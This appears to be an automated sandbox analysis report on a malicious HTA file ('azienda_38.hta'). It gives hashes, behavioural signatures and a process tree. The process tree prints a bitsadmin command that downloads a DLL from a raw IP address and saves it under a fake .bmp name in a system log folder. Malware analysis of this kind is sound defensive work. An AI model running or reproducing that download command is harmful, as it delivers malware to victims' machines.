Analysis
- max time kernel
124s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system - submitted
07/02/2023, 08:43
Static task
static1
Behavioral task
behavioral1
Sample
azienda_38.hta
Resource
win7-20220812-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
azienda_38.hta
Resource
win10v2004-20220812-en
5 signatures
150 seconds
General
- Target azienda_38.hta
- Size 6KB
- Sample230207-kmlh7aae93
- SHA256 4f999cd608ccf9e8cf62e41e2c7a75f50b3c758dbf290e26424d6a5a0acff243
- MD5 aa67a0782f7e8fd0e39b0306ecacfc17
- SHA1 6f8bd5514cffcd413acfe31913fe4b7f12a7ece1
- SHA512 a5c9ae52e1ac5c5fd1100c27dfab234247f14631dbba7900112f55b1cdce0c298416be30a220ac7b94078f03a7fc93527fd76f0acccc68ee014d5b9d58740fbb
- SSDEEP 96:wTgU8LVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dnr96k:pU77rIKdn863jMM0OD9+VVF45x/CI
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
flow pid Process 4 2548 mshta.exe 5 2548 mshta.exe 7 2548 mshta.exe 12 2548 mshta.exe 14 2548 mshta.exe 23 2548 mshta.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 5064 bitsadmin.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2548 wrote to memory of 5064 2548 mshta.exe 83 PID 2548 wrote to memory of 5064 2548 mshta.exe 83 PID 2548 wrote to memory of 5064 2548 mshta.exe 83
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_38.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer 8 http://46.8.19.182/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp2⤵
- Download via BitsAdmin
PID:5064
-